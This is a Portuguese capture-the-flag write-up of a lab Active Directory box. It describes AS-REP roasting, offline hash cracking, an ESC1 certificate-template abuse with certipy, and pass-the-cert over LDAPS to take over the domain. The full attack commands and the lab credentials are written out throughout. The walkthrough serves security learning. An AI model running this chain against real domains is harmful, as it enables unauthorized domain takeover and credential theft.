Domain Controller Windows Server 2019 com ADCS mal configurado. AS-REP Roasting de uma service account retorna credenciais válidas que dão acesso ao template de certificado
User, vulnerável a ESC1. Com ele forjo um certificado para o Administrator e, contornando uma password expirada via pass-the-cert sobre LDAPS, assumo o domínio.
Recon
Comecei com um scan completo de portas e versões:
rustscan -a singularity.hc -- -sV
O resultado é um Domain Controller completo — Kerberos (88), LDAP/LDAPS (389/636), SMB (445), DNS (53) e WinRM (5985), com TeamCity exposto na 8111. Os banners LDAP e o Service Info confirmam o hostname DC01, domínio singularity.hc e Windows Server 2019 (build 17763, também visível no SMB). O SMB exige signing, então relay está fora de questão.
SMB
A conta guest está ativa com null auth, o que permite RID brute force para extrair os principais do domínio:
nxc smb singularity.hc -u 'guest' -p '' --rid-brute
Saem cinco contas de usuário — svc-webapp, dev-marcus, build-agent, m.jhony e svc-teamcity — e os grupos custom PKI Admins, TeamCity-Users, Software Developers, BuildAgent Mgmt e Build-Automation. A presença de PKI Admins e Cert Publishers é o primeiro sinal de que há uma CA do ADCS no domínio.
Foothold
Com a lista de usuários, testei AS-REP Roasting para encontrar quem tem a pré-autenticação de Kerberos desativada (UF_DONT_REQUIRE_PREAUTH):
impacket-GetNPUsers singularity.hc/ -usersfile users.txt -dc-ip singularity.hc -format hashcat -outputfile asrep.txt
As contas svc-webapp e Guest retornam AS-REP roastable; o hash de svc-webapp é o que interessa. Extraí-o para asrep-svcwebapp.txt e levei ao hashcat com a wordlist xato-net-10-million-passwords-1000000.txt:
hashcat -m 18200 asrep-svcwebapp.txt xato-net-10-million-passwords-1000000.txt
O crack retorna a password de svc-webapp, que validei em seguida via SMB e LDAP.
Privilege Escalation
ADCS enumeration
Autenticado como svc-webapp, enumerei os templates de certificado em busca de configurações exploráveis:
certipy find -u svc-webapp@singularity.hc -p 'PolniyPizdec0211' -dc-ip singularity.hc -vulnerable -stdout
O template User reúne todas as condições de ESC1: Enrollee Supplies Subject habilitado, Client Authentication no Extended Key Usage, enrollment disponível e sem manager approval. Isso permite pedir um certificado especificando qualquer UPN no subject, incluindo o do Administrator.
ESC1 — Administrator impersonation
Antes do pedido, recolhi o SID do Administrator. O certipy embute esse SID no certificado para satisfazer a validação forte de mapeamento do KDC:
certipy account -u svc-webapp@singularity.hc -p 'PolniyPizdec0211' -dc-ip singularity.hc -user Administrator read
Com o SID em mãos, pedi o certificado pelo template vulnerável fazendo-me passar pelo Administrator. Apontei o -target para o FQDN do DC para que o pedido siga via RPC sobre named pipes:
certipy req -u svc-webapp@singularity.hc -p 'PolniyPizdec0211' -dc-ip singularity.hc -target DC01.singularity.hc -ca singularity-DC01-CA -template User -upn Administrator@singularity.hc -sid 'S-1-5-21-3139681580-4135018421-750518322-500' -out admin_esc1
A CA emite o certificado. Ao tentar autenticar via PKINIT, porém, o KDC recusa:
certipy auth -pfx admin_esc1.pfx -dc-ip singularity.hc
O erro KDC_ERR_KEY_EXPIRED indica que a password do Administrator está expirada e o PKINIT precisa derivar uma chave da conta. O contorno é autenticar o certificado por Schannel sobre LDAPS (pass-the-cert), que valida o certificado no canal TLS e ignora o estado da password:
certipy auth -pfx admin_esc1.pfx -dc-ip singularity.hc -ldap-shell
A LDAP shell abre já como SINGULARITY\Administrator. A partir dela, redefini a password da conta com change_password Administrator Adm1nReset!2026:
Com a password redefinida, validei acesso de Domain Admin via WinRM, listando as duas flags sem expor o conteúdo:
nxc winrm singularity.hc -u Administrator -p 'Adm1nReset!2026' -x 'dir C:\Users\m.jhony\Desktop\user.txt C:\Users\Administrator\Desktop\root.txt'
Com acesso ao DC como Administrator, li a flag de user em C:\Users\m.jhony\Desktop\user.txt e a flag de root em C:\Users\Administrator\Desktop\root.txt.
Lessons Learned
- Grupos de domínio com nomes de PKI (
PKI Admins,Cert Publishers) são um sinal precoce de ADCS — vale enumerar templates antes mesmo de ter foothold sólido. - ESC1 não depende de PKINIT funcionar: quando a conta-alvo tem password expirada e o KDC retorna
KDC_ERR_KEY_EXPIRED, o pass-the-cert por Schannel sobre LDAPS continua válido e ainda permite reescrever a password. UF_DONT_REQUIRE_PREAUTHnuma service account com password fraca encurta toda a fase de foothold para um único crack offline.
Impact
- Com o domínio Active Directory tomado, o atacante controla todas as identidades corporativas — e, junto, o servidor de CI/CD (TeamCity) que orquestra os builds da organização.
- Acesso ao TeamCity coloca código-fonte, segredos de deploy e pipelines nas mãos do atacante: um vetor de supply-chain que permite plantar código malicioso nos produtos entregues aos clientes.
- Como ele pode emitir certificados de longa duração que sobrevivem a trocas de senha, expulsá-lo exige reconstruir a PKI e o domínio — não basta resetar credenciais.